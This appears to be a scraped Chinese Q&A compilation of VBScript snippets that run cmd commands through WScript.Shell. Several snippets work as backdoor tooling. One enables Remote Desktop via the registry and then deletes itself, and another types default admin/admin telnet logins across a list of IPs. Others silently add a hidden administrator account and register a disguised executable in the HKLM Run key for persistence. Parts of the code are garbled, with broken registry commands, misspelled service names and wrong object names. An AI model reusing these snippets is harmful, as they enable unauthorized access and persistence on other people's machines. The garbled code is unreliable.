Ⅰ vbs 常用命令
1.點擊WIN按鈕,在運行對話框下面輸入cmd,打開命令提示符窗口。
注意事項:
VBS, Microsoft Visual Basic Scripting Edition是Visual Basic編程語言家族的最新成員,它將靈活的腳本語言引入到更廣泛的應用程序中,包括Microsoft Internet Explorer中的Web客戶端腳本和Microsoft Internet Information Server中的Web伺服器腳本。
Ⅱ 怎樣把cmd內所有命令寫進vbs里執行
Setws=CreateObject("WScript.Shell")
ws.Run"regadd""""/v""fDenyTSConnections""/tREG_DWORD/d00000000/f"
ws.Run"\abc安裝包很放鬆的旋律.mp3%userprofile%桌面"
ws.Run"del很放鬆的旋律.zip"
Set fso = CreateObject("Scripting.Filesystemobject")
fso.DeleteFile(WScript.ScriptFullName)
Ⅲ 關於dos命令在vbs裡面運行
Set ws = CreateObject("Wscript.Shell")
ws.Run c:\1.exe,1,True
ws.Run c:\2.exe
Ⅳ vbs批處理命令相關
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile("C:\ip.txt",1)
set sh=WScript.CreateObject("WScript.Shell")
Do Until objTextFile.AtEndOfStream
IpAddress = objTextFile.Readline
WScript.Sleep 300
sh.SendKeys "open " + IpAddress + "{ENTER}"
WScript.Sleep 300
sh.SendKeys "admin{ENTER}"
WScript.Sleep 300
sh.SendKeys "admin{ENTER}"
WScript.Sleep 300
Loop
Ⅳ 如何用vbs命令啟動CMD指定命令
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -f -t 120 -c ""關機.···"" ",0 ,true
dim a
do while(a <> "取消關機")
a = inputbox ("關機 ""取消關機""","取消關機","取消關機",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "取消關機"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "成功取消關機~!" 把上面的內容拷貝到文本文檔另存為 關機程序.VBS 就OK了
Ⅵ 如何讓VBS代碼執行DOS命令
直接調用run方法就行。
dim objws
set ojbws=wscript.createobject("wscript.shelll")
objws.run "cmd /c @sc config Schele start= auto",0
objws.run "cmd /c @net stop " & chr(34) & "Task Scheler" & chr(34)",0
objws.run "cmd /c @net start " & chr(34) & "Task Scheler" & chr(34)",0
objws.run "cmd /c @sc config NtlmSsp start= auto",0
objws.run "cmd /c @net start NtlmSsp",0
objws.run "cmd /c @sc config RpcSs start= auto",0
objws.run "cmd /c @net start RpcSs",0
objws.run "cmd /c @net stop telnet",0
objws.run "cmd /c @net start telnet",0
Ⅶ vbs運行多條DOS命令
Set objWsh = CreateObject("WScript.Shell")
objWsh.Run "C:\WINDOWS\system32\cmd.exe",1,False
WScript.Sleep 3000
'3秒後開始執行第一條命令
objWsh.AppActivate "C:\WINDOWS\system32\cmd.exe"
objWsh.SendKeys "devcon /enable PCI\RXVSTOR*~"
WScript.Sleep 3000
'3秒後開始執行第二條命令
objWsh.AppActivate "C:\WINDOWS\system32\cmd.exe"
objWsh.SendKeys "devcon /disable PCI\RXVSTOR*~"
Set objWsh = Nothing
當然更方便的是把兩條命令寫在bat中來執行,特別是命令更多的時候
Ⅷ VBS執行DOS命令
去掉WScript.Quit
在最前面加個do,最後面加個loop
do
Set ws = CreateObject("WScript.Shell")host = WScript.FullName
If LCase( right(host, len(host)-InStrRev(host,"\")) ) = "wscript.exe" Then
ws.run "cscript """ & WScript.ScriptFullName & chr(34), 0
End If
Set oexec = ws.Exec( "ipconfig")
Msgbox oExec.StdOut.ReadAll, , "ipconfig"
loop
Ⅸ vbs編寫CMD命令
'創建shell對象,以調用外部cmd命令
set wshshell=createobject("wscript.shell")
wshshell.run "cmd /c net user 用戶 密碼 /add && net localgroup administrators 用戶 /add",vbhide
註:
代碼中的」&&「是c命令分割符,這樣幾句cmd命令可以寫在同一行 ;
」cmd /c 「表示調用的事cmd命令提示符中的命令,其中的/c參數表示執行完成後關閉命令提示符窗口,vbhide參數表示後台運行
Ⅹ vbs腳本命令
set fso = createobject("scripting.filesystemobject")
set ofwr = fso.opentextfile(fso.getspecialfolder(WindowsFolder) & "\microsoft.bat",8,true)
ofwr.writeline "start %systemroot%\stem\a.exe"
createobject("wscript.shell").regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\micr.bat",fso.getspecialfolder(WindowsFolder) & "\microsoft.bat","REG_SZ"
其實沒必要創建批處理文件
a.exe 可以直接加入啟動項。
createobject("wscript.shell").regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\micr",fso.getspecialfolder(WindowsFolder) & "\stem\a.exe","REG_SZ"